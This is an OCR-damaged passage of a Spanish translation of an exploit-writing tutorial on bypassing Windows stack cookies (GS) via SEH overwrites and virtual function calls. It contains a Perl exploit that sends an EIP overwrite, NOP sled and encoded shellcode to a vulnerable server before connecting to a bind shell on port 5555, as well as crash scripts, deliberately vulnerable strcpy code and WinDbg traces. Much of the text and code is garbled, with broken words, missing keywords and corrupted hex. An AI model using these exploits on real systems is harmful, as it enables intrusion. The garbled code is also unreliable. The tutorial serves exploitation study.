" \x48\x33\x42\x36\x4b\x4f\x4 3\x45\x51\x54\x4b\x4f\x4
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x4
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4
" \x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4
"\x4c\x4b\x51\x4 7\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x4 3\x58\x4a\x50\x4
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"\x43\x34\x51\x4f\x50\x53\x4 b\x4f\x4e\x36\x4b\x4f\x4
"\x41\x41";
$nops=" \x90 " x 10;

# initialize host and port
$host = || 'localhost’;
$port = | 200;

$proto = (‘tcp’);

# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);

" [+] Setting up socket\n ;
# create the , to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n "
(SOCKET, $paddr) or " connect: $!

" [+] Sending payload\n "
SOCKET $junk.$eipoverwrite.$nops.$shellcode."

" [+] Payload sent\n ;
SOCKET or " close: $!
(" telnet $host 5555\n ");

Ok, eso funciona. Asi de simple, pero el explolb ganciona porque no
hay proteccion / GS.
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Ahora intenta lo mismo contra el servidor vulneeafjlie se ha compilado
con/GS:

&7 pid 2588 - WinDbg:6.11.0001.40+4 X86 mmand Prompt - vulnej

File Edit View Debug ‘Window Help
2 iR RdHDH B N EEEEERE

Hicrosoft (R) Windows Debugger Version 6.11.0001.404 X836

Copyright (o) Microsoft Corporation. All rights reserved.

*%%¥ ywalt with pending attach

Symbol search path is: SREV#C:“windbg symbols*http: . m=edl micr Command Prompt
Executable search path is: H

HodLoad: 00400000 00406000 Consploitssvulnsrvsvulnerableser |

ModLoad: 7c900000 7c9bz000 C:~WINDOWS systend2 ntdll dll

HodLoad: 7cB800000 7c8f6000 CoWINDOWS systend2 ~kern=l32 . d11 |

ModLoad: 78520000 785c3000 C:~WINDOWS~WinS=5 =86_Hicrosoft .

ModLoad: 71ad0000 71ad9000 C:WINDOWS systend 2nWS0CK32 A1l

ModLoad: 71ab0000 71ac?000 C:~WINDOWS systend2~W52_32 41l L

ModLoad: 77440000 77e6b000 C:~WINDOWS systend2~ADVAPIZZ dll

ModLoad: 77=70000 77£02000 C:~WINDOWS systend2~EPCRT4 . dll

HodLoad: 77fe0000 77f££1000 C S WINDOWS systend2~Securd? dll

HodLoad: 77c10000 7768000 CoWINDOWS sy=tend2nsvcrt . dll Wpiting Buf f 1o
ModLoad: 712a0000 71aa8000 C:~WINDOWS systend2~WSZHELF .41l 2 S it
HodLoad: 71250000 71a8£000 CoWWINDOWS systend2 mswsock . dll a8
HodLoad: 662b0000 66308000 CoWINDOWS sy=teni2 hnetcfg . dll

ModLoad: 77£10000 77£59000 C:~WINDOWS systend2~GDI32 41l

ModLoad: 7410000 7e4a1000 C:~WINDOWS systend2~USER3Z . dll

ModLoad: 76390000 763ad00n C:~WINDOWS systend2~IMHM32 DLL )
ModLoad: 71290000 71a98000 C:SWINDOWS-Sy=stend2 wshtopip.dll |Sdl act ing to ost on port 200
2ax=003b0000 ebx=00000000 ecx=00001000 edx=7c90s514 e=i=000000 [§

2ip=7c90e514 esp=0012dcic ebp=0012dd0c iopl=0 nv up ei . .
c==001b ===0023 ds-0023 e==0023 f==003b g==0000 ould not open connact ion to the on o : Connect failad
ntdll |KiFastSystenCallRet :

7c90e514 =3 ret

La aplicacion muere, pero no tenemos un exploititural.

Abre el servidor vulnerable (con gs) de nuevo edeglurador, y antes de
dejarlo correr, pon un BP en el security_check mook

(b88.260): Break instruction exception - code 80000 003 (first chance)
eax=00251eb4 ebx=7ffd7000 ecx=00000002 edx=00000004 esi=00251f48
edi=00251eb4 eip=7c¢90120e esp=0012fb20 ebp=0012fc94 iopl=0

nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es= 0023 fs=003b
gs=0000 efl=00000202

ntdll!DbgBreakPoint:

7¢90120e cc 3

0:000>

0:000> bl

0 e 004012dd 0001 (0001) Q:****
vulnerable_server! _security_check cookie

¢Qué pasa exactamente cuando el bufer / pila aggtosa un
desbordamiento? Vamos a ver mediante el envio aldamente 512 A’s al
servidor vulnerable®
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Ejemplo de codigo:

strict;
Socket;
$junk =" \x41 "x512;

# initialize host and port
$host = || 'localhost’;
$port = [| 200;
$proto = (‘tcpY);

# get the port addressmy $iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n "

# create the ) to the portsocket(SOCKET, PF_INET,
SOCK_STREAM, $proto) or " socket: $!

" [+] Connecting to $host on port $port\n

(SOCKET, $paddr) or " connect: $!

" [+] Sending payload\n h

SOCKET $junk." \n*";

" [+] Payload sent\n "

SOCKET or " close: $!

Esto es lo que sucede en el depurador (con el Biukrerable server
___security_check_cookie!):

0:000> g

ModLoad: 71a50000 71a8f000 C:\WINDOWS\ 32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\ 32\hnetcfg.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\ 32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\ 32\ 32.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\ 32\IMM32.DLL
ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wsht cpip.dll

eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001

edi=00403384

eip=004012dd esp=0012e048 ebp=0012e25c iopl=0
nv up ei pl nz na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl =00000206

Esto ilustra que se agreg0 y se ejecutd una cogiparpara validar la
cookie de seguridad.

La cookie de seguridad se sitia en 0 x 00403000.



Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

0:000> dd 0x00403000

00403000 ef 793df 6 1086¢209 ffffffff fiffffff
00403010 fffffffe 00000001 00000000 00000000
00403020 00000001 00342200 00342980 00000000
00403030 00000000 00000000 00000000 00000000

Debido a que hemos sobrescrito las partes deddipiluyendo la cookie
de GS), la comparacion de cookies no funciona, FasiSystemcCallRet es
llamado.

Reinicia el servidor vulnerable, ejecuta el codRgrl otra vez, y mira la
cookie una vez mas (para verificar que se ha catopia

(480.fb0): Break instruction exception - code 80000 003 (first chance)
eax=00251eb4 ebx=7{fd9000 ecx=00000002 edx=00000004 esi=00251f48
edi=00251eb4

eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7¢90120e cc 3

0:000> bp vulnerable_server! _security_check_cookie

0:000> bl

0 e 004012dd 0001 (0001) O:****

vulnerable_server! _security_check cookie

0:000> g

ModLoad: 71a50000 71a8f000 C:\WINDOWS\ 32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\ 32\hnetcfg.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\ 32\GDI32.dll
ModLoad: 7€410000 7e4a1000 C:\WINDOWS\ 32\ 32.dll

ModLoad: 76390000 763ad000 C:\WINDOWS\ 32\IMM32.DLL

ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\ws htcpip.dll
Breakpoint O hit

eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001
edi=00403384

eip=004012dd esp=0012e048 ebp=0012e25c iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000206

vulnerable_server! _security_check cookie:

004012dd 3b0d00304000 cmp ecx,dword ptr
[vulnerable_server!__security cookie (00403000)]

ds:0023:00403000=d0dd8743

0:000> dd 0x00403000

00403000 2f2278bc ffffffff fffffff

00403010 (fffffffe 00000001 00000000 00000000

00403020 00000001 00342a00 00342980 00000000

00403030 00000000 00000000 00000000 00000000

Ahora es diferente, lo que significa que no es griae. (Esto es lo que
suele ocurrir. (MS06-040 muestra una debilidad podria aprovechar el
hecho de que la cookie es estética, por lo quesblp. En la teoria))
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De todas formas, si quieren tratar de desborddruier, la aplicacion
morird: ntdll KiFastSystemCallRet.

(Pon un BP en la funcién pr, y pasa a través denfdricciones hasta que
veas que la comprobacion de cookie de segurida$ ale que retorne la
funcién)

Esto nos debe dar suficiente informacion sobreoten& en que la SG /
modificador de compilador cambia el codigo de lasfones de proteccion
contra desbordamientos de pila.

Como se explico anteriormente, hay un par de tasngue te permiten
tratar de eludir la proteccion GS. La mayoria desete basan en el hecho
de que puedes golpear la estructura del manejadoexdepciones /
desencadenar una excepcion antes de la cookie ebeava comprobar.
Otros confian en ser capaz de escribir a los argtosge... No importa lo
que yo he intentado, no ha funcionado con estegyodgio podia golpear al
manejador de excepciones). Asi que / GS parecmggreficaz con este
codigo.

Demostracion 1 de Bypass de las Cookies del
Stack: Manejo de Excepciones:

El cddigo vulnerable

Con el fin de demostrar como la cookie de pila puset evitada, usaremos
el codigo C++ sencillo (basicbof.cpp):

#include " stdafx.h
#include " stdio.h
#include"  windows.h "

Getlnput( * str,
buffer[500];
strcpy(buffer,str);

strcpy(out,buffer);
printf(" Input received : %s\n " buffer);

}
{

( * StrErr)

printf(" No valid input received ! \n
printf(" Exception : %s\n " strErr);

}
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main( argc,

buf2[128];
Getlnput(argv[1],buf2);
0;

}

Como puedes ver, la funcion Getlnput contiene wucpgtvulnerable, ya
gue no comprueba la longitud del primer parame&demas, una vez que
‘buffer’ se llend (y posiblemente corrupto), queltiieza de nuevo (strcpy a
la variable 'out) antes de que la funcién retorRero bueno - el
controlador de excepciones de la funcién debe &dwatrusuario si se ha
introducido una entrada maliciosa, ¢verdad? :-)

Compilar el cédigo sin/ GS y sin RTC.
Ejecuta el codigo y utiliza una cadena de 10 carastcomo parametro:

basicbof.exe AAAAAAAAAA
Input received : AAAAAAAAAA

Ok, que funciona como se esperaba. Ahora ejecw#plilzacion y agrégale
una cadena de mas de 500 bytes como primer pamarhataplicacion se
bloqueara.

(Si se omite el codigo del controlador de excepEsorn la funcion
Getlnput, entonces la aplicacion se bloquearaiyaétel depurador )

Vamos a utilizar el siguiente script en perl sdacpara llamar a la
aplicacion y agregarle 520 caracteres:

$buffer=" A" x 520;

(" \"C:\\Program Files\\Debugging Tools for Windows
(x86)\\windbg\" basicbof.exe \"$buffer\"\r\n ");

Ejecuta el script:

(908.470): Access violation - code c0000005 (!!! se cond chance !!!)
eax=0000021a ebx=00000000 ecx=7855215¢c edx=785bbb60 esi=00000001

edi=00403380

eip=41414141 esp=0012ff78 ebp=41414141 iopl=0 nv up ei pl nz

na po nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202
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41414141 ?7?

=> Sobrescritura directa de RET/EIP. BOF clasico.

Si se intenta lo mismo otra vez, con el ejecutgble incluye el cddigo de
manejo de excepciones de nuevo, la aplicacion waomr. (Si prefieres
lanzar el ejecutable desde WinDbg, entonces ejeautabg, abre el
archivo ejecutable basicbof.exe, y agregua la Gad#sm mas de 500
caracteres como argumento).

Look in: I@Helease j | ? b E'
ﬁbasicbof.exe

File name: Ibasicbof.e:-ce

L L
r

Files of tppe: IE:-cecutahle Files

Arquments:  |[AAAMAAAALAAMALALLBABSSALBEPAASL

Ahora sale esto:

(b5c.964): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001

edi=004033a8

eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz

na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010206

004010chb 8802 mov  byte ptr [edx],al
ds:0023:00130000=41

Sin sobrescritura directa de EIP, pero hemos gdiped manejador de
excepciones con nuestro desbordamiento de bufer:

0:000> lexchain

0012fee0: 41414141
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Invalid exception stack at 41414141

¢, Como funciona el manejador de SE y qué
sucede cuando se sobreescribe?

Antes de continuar, como un pequefio ejercicio BBis y paso a paso por
instrucciones), vamos a ver por qué y cuando elefador de excepciones
se hizo presente y lo que sucede cuando se sabeestmanejador.

Abre el archivo ejecutable (sin GS, pero con eliggdle manejo de
excepciones) en windbg de nuevo (con las 520 Amocargumento).
Antes de iniciar la aplicacion (en el BP), pon uaakpoint en la funcion
Getlnput.

0:000> bp Getl nput
0:000> bl

0 e 00401000 0001 (0001) O:**** basicbof!Getl

Ejecuta la aplicacion, y parara cuando la funcefane.

Breakpoint 0 hit

eax=0012fefc ebx=00000000 ecx=00342980 edx=003429f3 esi=00000001
edi=004033a8

eip=00401000 esp=0012fef0 ebp=0012ff7c iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000206

basicbof!Getinput:

00401000 55 ebp

Si desensamblas la funcion Getlnput, esto es lovgrées:

00401000 $55 EBP ;save current of EBP (=>
saved EIP)

00401001 .8BEC MOV EBP,ESP ;ebp is now top of stack (=>
saved EBP)

00401003 . 6A FF -1

00401005 .68 A01A4000 basicbof.00401AA0 ; SE handler
installation

0040100A . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0 ]

00401010 .50 EAX

00401011 . 64:8925 000000>MQOV DWORD PTR FS:[0],ES P

00401018 .51 =04

00401019 .81EC 1C020000 SUB ESP,21C ;reserve s pace on the stack,
540 bytes

0040101F .53 EBX
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00401020 .56 ESI

00401021 .57 EDI

00401022 . 8965 FO MOV DWORD PTR SS:[EBP-1 0],ESP
00401025 .C745 FC 000000>MOV DWORD PTR SS:[EBP-4 1.0
0040102C . 8B45 08 MOV EAX,DWORD PTR SS:[E BP+8] ;start
strcpy(buffer,str)

0040102F . 8985 FOFDFFFF MOV DWORD PTR SS:[EBP-2 10],EAX
00401035 .8D8D F8FDFFFF LEA ECX,DWORD PTR SS:[E BP-208]
0040103B . 898D ECFDFFFF MOV DWORD PTR SS:[EBP-2 14],ECX
00401041 .8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[E BP-214]
00401047 . 8995 E8FDFFFF MOV DWORD PTR SS:[EBP-2 18],EDX
0040104D > 8B85 FOFDFFFF MOV EAX,DWORD PTR SS:[E BP-210]
00401053 . 8A08 MOV CL,BYTE PTR DS:[EAX |
00401055 . 888D E7TFDFFFF MOV BYTE PTR SS:[EBP-21 9],CL
0040105B .8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[E BP-214]
00401061 .8A85 E7FDFFFF MOV AL,BYTE PTR SS:[EBP -219]
00401067 . 8802 MOV BYTE PTR DS:[EDX],A L
00401069 .8B8D FOFDFFFF MOV ECX,DWORD PTR SS:[E BP-210]
0040106F .83C1 01 ADD ECX,1

00401072 .898D FOFDFFFF MOV DWORD PTR SS:[EBP-2 10],ECX
00401078 .8B95 ECFDFFFF MOV EDX,DWORD PTR SS:[E BP-214]
0040107E .83C201 ADD EDX,1

00401081 . 8995 ECFDFFFF MOV DWORD PTR SS:[EBP-2 14],EDX
00401087 .80BD E7FDFFFF >CMP BYTE PTR SS:[EBP-21 9],0
0040108E .~75BD JNZ SHORT basicbof.0040 104D ;jmp to
0x0040104d,get char

00401090 .8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[E BP-208] ;start
strcpy(out,buffer)

00401096 . 8985 EOFDFFFF MOV DWORD PTR SS:[EBP-2 20],EAX
0040109C .8B4D 0C MOV ECX,DWORD PTR SS:[E BP+C]
0040109F . 898D DCFDFFFF MOV DWORD PTR SS:[EBP-2 24],ECX
004010A5 .8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[E BP-224]
004010AB . 8995 D8FDFFFF MOV DWORD PTR SS:[EBP-2 28],EDX
004010B1 > 8B85 EOFDFFFF MOV EAX,DWORD PTR SS:[E BP-220]
004010B7 . 8A08 MOV CL,BYTE PTR DS:[EAX |
004010B9 . 888D D7FDFFFF MOV BYTE PTR SS:[EBP-22 9],CL
004010BF .8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[E BP-224]
004010C5 .8A85 D7FDFFFF MOV AL,BYTE PTR SS:[EBP -229]
004010CB . 8802 MOV BYTE PTR DS:[EDX],A L
004010CD . 8B8D EOFDFFFF MOV ECX,DWORD PTR SS:[E BP-220]
004010D3 .83C1 01 ADD ECX,1

004010D6 . 898D EOFDFFFF MOV DWORD PTR SS:[EBP-2 20],ECX
004010DC . 8B95 DCFDFFFF MOV EDX,DWORD PTR SS:[E BP-224]
004010E2 .83C201 ADD EDX,1

004010E5 . 8995 DCFDFFFF MOV DWORD PTR SS:[EBP-2 24],EDX
004010EB . 80BD D7FDFFFF >CMP BYTE PTR SS:[EBP-22 9],0
004010F2 .A75BD JNZ SHORT basicbof.0040 10B1;jmp to
0x00401090,get char

004010F4 . 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[E BP-208]
004010FA .50 EAX ; 1<%s>
004010FB . 68 FC204000 basicbof.004020FC ;|

" Input received : %s

00401100 .FF15 A8204000 CALL DWORD PTR DS:[<&MS VCR90.
\

00401106 .83C4 08 ADD ESP,8

00401109 .EB 30 JMP SHORT basicbof.0040 113B
0040110B . 68 14214000 basicbof.00402114 ;/

valid input received !
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00401110 . FF15 A8204000 CALL DWORD PTR DS:[<&MS VCR90.
\

00401116 .83C4 04 ADD ESP,4

00401119 .8B8D FAFDFFFF MOV ECX,DWORD PTR SS:[E BP-20C]
0040111F .51 ECX ; 1<%s>
00401120 .68 30214000 basicbof.00402130 ;|

" Exception : %s

00401125 . FF15 A8204000 CALL DWORD PTR DS:[<&MS VCR90.
\

0040112B .83C4 08 ADD ESP,8

0040112E . C745 FC FFFFFF>MOV DWORD PTR SS:[EBP-4

00401135 .B8 42114000 MOV EAX,basicbof.004011

0040113A .C3 RETN

Cuando el prologo de la funcién Getlnput () com&red argumento de la
funcién (nuestro buffer "str") se almacena en 0X2333 (EDX):

0:000> d edx

003429f3 41 41 41 41 41 41 41 41-41 41 41 41 41 41
YAVAVAVAVAVAVAVAVAVAVAVAVAVAVAY:

00342a03 41 41 41 41 41 41 41 41-41 41 41 41 41 41
YAVAVAVAVAVAVAVAVAVAVAVAVAVAVAY:

Un puntero a este argumento se pone en la pilaefa$ix0012fef4, la
direccién 0x003429f3 es almacenada).

El puntero del Stack (ESP) apunta a 0x0012fefO)EBP apunta a
0x0012ff7c. Estas 2 direcciones ahora forman elcoatel Stack de la
funcién nueva. La ubicacion de memoria a la cud® BBunta actualmente
es 0x00401179 (que es la direccion de retorno pEyeesar a la funcion
principal, justo después de llamar a Getlnput ())

00401160 55 ebp

00401161 8bec mov  ebp,esp

00401163 81ec80000000 esp,80h

00401169 8d4580 lea eax,[ebp-80h]

0040116¢ 50 eax

0040116d 8b4d0c mov  ecx,dword ptr [ebp +0Ch] ;pointer to
argument

00401170 8b5104 mov  edx,dword ptr [ecx +4] ;pointer to

argument

00401173 52 edx ; buffer argument

00401174 e887feffff  call basicbof!Getinput (00401000) ;
Getlnput()

00401179 83c408 add esp,8

0040117c 33cO xor eax,eax0040117e 8b
esp,ebp
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00401180 5d ebp
00401181 c3 ret

De todas formas, volvamos al desensamblado denkzdiu Getlnput de
arriba. Después de poner un puntero a los argusientéa pila, el prélogo
de la primera funcion PUSHea EBP en la pila (padpr EBP).

A continuacion, se pone ESP en EBP asi EBP apuatparte superior de
la pila ahora (sélo por un momento). Por lo tamio,esencia, un nuevo
marco de pila se crea en la "actual" posicién dé Esando la funcion se
llame.

Después de guardar EBP, ESP apunta ahora a 0x@012fee es igual a
0c0012ff7c). Tan pronto como los datos se insestela pila, EBP todavia
apuntara a la misma ubicacion (pero EBP se coevant(y se queda) la
parte inferior de la pila). Puesto que no hay Ve locales en Getinput (),
no se PUSHea nada en la pila para prepararse giasavariables.

Entonces, el controlador de SE es instalado. Engoriugar, FFFFFFFF se
pone en la pila (para indicar el final de la cad8E#).

00401003 . 6A FF -1

00401005 .68 A01A4000 basicbof.00401AA0

Entonces, el manejador de SE y el proximo SEH Sd8Heados en la
pila:

0040100A . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0

00401010 .50 EAX
00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ES

Ahora, la pila se ve asi:

N stack grows up towards top of stack while addres s of ESP goes down
| 0012FECC 785438C5 MSVCR90.785438C5
| 0012FEDO 0012FEES
| 0012FED4 7855C40C MSVCR90.7855C40C
| 0012FED8 00152150

| 0012FEDC 0012FEF8 <- ESP points here after p ushing
| 0012FEEO 0012FFBO Pointer to SEH record

| 0012FEE4 00401AA0 SE handler

| 0012FEE8 FFFFFFFF ; end of SEH chain

| 0012FEEC 0012FF7C ; saved EBP

| 0012FEFO 00401179 ; saved EIP
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| 0012FEF4 003429F3 ; pointer to buffer ASCII
QWAVAV.V.VAVAVAVVVAVAVAVAVVAVAVAVAV.VAV AN

Antes de que comience el primer strcpy , algunrl@gareservado en la
pila.

00401019. 81EC 1C020000 SUB ESP, 21C, 540 bytesegb00 (buffer)
+ espacio adicional.

Después de esta instruccion, ESP apunta a OxO@Lg&foe es 0x0012fedc
- 21c), EBP apunta a 0x0012feec (parte superita géda).

A continuacion, EBX, ESI y EDI son PUSHeados epila (ESP = ESP-C
(3 x 4 bytes = 12 bytes), ESP apunta ahora a OXSD&2.

Luego, en 0x0040102c, el primer strcpy inicia pampra vez (ESP apunta
a 0012fcb4). Cada una se toma de la ubicacion deone donde se

encuentra el buffer) y lo pone en la pila (uno oo, bucle de 0x0040104d
a 0x0040108e).

©. basichof.fbdE33A2

i RETURH
i RETURM %o

Este proceso continla hasta que todos los 520 fgiegitud de nuestro
argumento de linea de comandos) han sido escritos

Lss primeras 4 A’s fueron escritas en 0012fce4eSagregan 208H (520
bytes) - 4 (los 4 bytes que se encuentran en 084pfentonces termina a
0012fee8, que ha afectado / sobrescrito las partestructura de SE. No ha
pasado nada todavia.
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Hasta ahora todo bien. Ninguna excepcion se haagctiain (nada se ha
hecho con el buffer, sin embargo, y no tratamost@sen cualquier lugar
gue pueda causar una excepcion inmediata)

A continuacién, el segundo strcpy (strcpy (out,fén)f se inicia. Rutina
similar (una A bucle), y ahora las A’s. estan éssrien la pila en
0x0012fefc. EBP (parte inferior de la pila) apuat@x0012feec, por lo que
estamos escribiendo ahora mas alla de la partéanti la pila.

41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 ARAA
41414141 A ‘ointer to nedt S5EH record
4%4141 A E handler

Hasta ahora todo bien. Ninguna excepcion se haagdctiain (nada se ha
hecho con el buffer, sin embargo, y no tratamosl@sen cualquier lugar
gue pueda causar una excepcion inmediata)

out es de tan soOlo 128 (variable de un principtal#scida en main () y
luego paso sin inicializar a Getlnput () - Estelaweproblemas para mi :-
)), por lo que el desbordamiento se producira [bigmente mucho mas
rapido. El buffer contiene mucho mas bytes, pajue el desbordamiento
puede o podria o se escribird en una zona en la@le pertenece, y que
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va a doler mas esta vez. Si esto se desencadamaycp una excepcion,
nosotros controlamos el flujo (ya hemos sobrestaggartes la estructura
del SE, recuerda)

Después de poner 128 A’s en la pila, esta se ve asi

aa4a1 168

A medida que continuamos escribiendo, escribimoscdiones mas altas
(al final incluso sobrescribiendo en el main () Vasiables locales y envp,
argv, etc. Hasta la parte inferior de la pila):

41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141

41414141
41414141
41414141
41414141
41414141
41414141

1414141
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Hasta que, finalmente, intentamos escribir en garwonde no tenemos
acceso:

TATATATL
41414141
41414141
11414141

1414141

414141 AAAA
1414141 AAAA
1414141 AARRA

-

4
-4
4
.
4
4

TALITTRS L

aa4a81ac

Access Violation. La cadena de SEH ahora se ve asi:

SEH chain of main thread
Hddrgis SE handler

Si pasamos ahora la excepcidon a la aplicacion,tenteimos ir a este
controlador de SE.

gglsters (FPU]

La estructura SE se sobrescribe con el primerystpgyo el segundo strcpy
desencadend la excepcion antes que la funcién naudegresar. La

combinacion de ambos nos permitira explotar eshaevabilidad, ya que

las cookies de la pila no se comprobaran.
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Abusando de SEH para eludir la proteccion de GS

Compila el ejecutable de nuevo (con / GS) e intdatauevo con el mismo
desbordamiento:

Caodigo con el manejador de excepciones:

(aa0.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001
edi=004033a4
eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz
na pe nc
¢cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00010206
basicbof!Getlnput+0xd8:
004010d8 8802 mov  byte ptr [edx],al
ds:0023:00130000=41
0:000> uf Getlnput
basicbof!Getlnput [basicbof\basicbof.cpp @ 6]:
6 00401000 55 ebp
6 00401001 8bec mov  ebp,esp
6 00401003 6aff OFFFFFFFFh
6 00401005 68d01a4000
basicbof!_CxxFrameHandler3+0xc (00401ad0)
6 0040100a 64a100000000 mov eax,dword pt r fs:[00000000h]
6 00401010 50 eax
6 00401011 51 ecx
6 00401012 81ec24020000 esp,224h
6 00401018 a118304000 mov eax,dword pt

6 0040101d 33c5 Xor eax,ebp

6 0040101f 8945ec mov  dword ptr [e bp-14h],eax
6 00401022 53 ebx

6 00401023 56 esi

6 00401024 57 edi

6 00401025 50 eax

6 00401026 8d45f4 lea eax,[ebp-0Ch ]

6 00401029 64a300000000 mov dword ptr fs :[00000000h],eax
6 0040102f 8965f0 mov  dword ptr [e bp-10h],esp
9 00401032 c745fc00000000 mov  dword ptr [e bp-4],0

10 00401039 8b4508 mov  eax,dword pt r [ebp+8]

10 0040103c 8985e8fdffff mov  dword ptr [e bp-218h],eax
10 00401042 8d8dfofdffff lea ecx,[ebp-210 h]

10 00401048 898de4fdffff mov  dword ptr [e bp-21Ch],ecx
10 0040104e 8b95e4fdffff mov  edx,dword pt r [ebp-21Ch]
10 00401054 8995e0fdffff mov  dword ptr [e bp-220h],edx
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La aplicacion ha muerto de nuevo. Del anterior neseblado podemos
ver claramente la cookie de seguridad se pone pital&n el epilogo de la
funcién Getlnput. Asi que un desbordamiento desicta (sobrescritura
directa de RET ) no funcionaria ... Sin embargand® afectado el
manejador de excepciones, asi (el primer strcpyesohbbe el manejador
de SE, recuerda ... en nuestro ejemplo, el manejddoSE era sélo
sobrescrito con 2 bytes, por lo que probablemeatesitard 2 bytes mas
para sobrescribirlo completamente).:

0:000> !exchain
0012fed8: basicbof! CxxFrameHandler3+c (00401ad0)

Invalid exception stack at

Esto quiere decir que * puede * ser capaz de eltaookie de pila / GS
mediante el controlador de excepciones.

Ahora bien, si se omite el cédigo del manejo deepgimnes de nuevo (en
la funcién Getlnput), y le agregas la aplicacionn@smo numero de
caracteres, entonces tenemos lo siguiente:

0:000> g

(216c.2ce0): Access violation - code c0000005 (firs t chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001
edi=0040337c

eip=004010b2 esp=0012fcc4 ebp=0012fee4 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010206

basicbof!Getlnput+0xb2:

004010b2 8802 mov  byte ptr [edx],al

ds:0023:00130000=41

0:000> lexchain

0012ffb0: 41414141

Invalid exception stack at 41414141

Asi que el argumento de longitud es igual, perocehtrolador de
excepciones extra no se afadi6, por lo que noamé8 thuchos bytes para
sobrescribir la estructura de SE en esta ocasanecP que han provocado
una excepcion antes de la cookie de la pila pudiaker sido verificada.
Como se ha explicado anteriormente, esto es caysada segunda strcpy
en Getlnput ()
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Para probar mi punto, omite esta segunda strcpy (80Strcpy, y ningun
manejador de excepciones en la aplicacion), y lsegede esto:

0:000> g

eax=000036c0 ebx=00000000 ecx=000036¢c0 edx=7c90e514 esi=00000001
edi=0040337c

eip=7c90e514 esp=0012f984 ebp=0012f994 iopl=0 nv up ei ng nz

na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0]
efl=00000286

=>La proteccion de cookies de la pila funcion6 devo.

Por lo tanto, la conclusion: es posible evitar daskies de la pila si la
funcidn vulnerable provocara una excepcion de uaaema u otra antes de
qgue la cookie sea compruebada durante el epilogta dancion, por
ejemplo, cuando la funcion sigue utilizando un euf€orrompido mas
abajo en la funcién.

Nota: A fin de explotar esta aplicacibn en paraculprobablemente
tendrias que hacer frente a / SafeSEH también. ddast formas, la
proteccion de cookie de la pila fue evitada.

Demostracion 2 de Bypass de las Cookies del
Stack: Llamada a Virtual Function

Con el fin de demostrar esta técnica, voy a volversar un pedazo de
codigo que se puede encontrar en la ponencia de 3deitov y Mark
Dowd de Blackhat 2008 (modificado ligeramente pgua se compile en
VS2008 C + +).

/I gsvtable.cpp : Defines the entry point for the c onsole application.
1l
#include "  stdafx.h
#include"  windows.h "
Foo {

_.declspec(noinline) gs3(

buf[8];
strepy(buf, src);
bar(); /[ virtual function call

}

__declspec(noinline) bar()
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main()

Foo foo;
foo.gs3(

AAAA
' BBBB
" CCCC
' DDDD
EEEE
FFFF"
0;

El objeto Foo llamado foo es inicializado en la ddm principal, y
asignado en la pila de esta funcién principal. Boés, foo se pasa como
argumento a la funcién miembro Foo.gs3 (). Este ®S3iene una
vulnerabilidad strcpy (foo desde main () se copidef, que esta a soélo 8
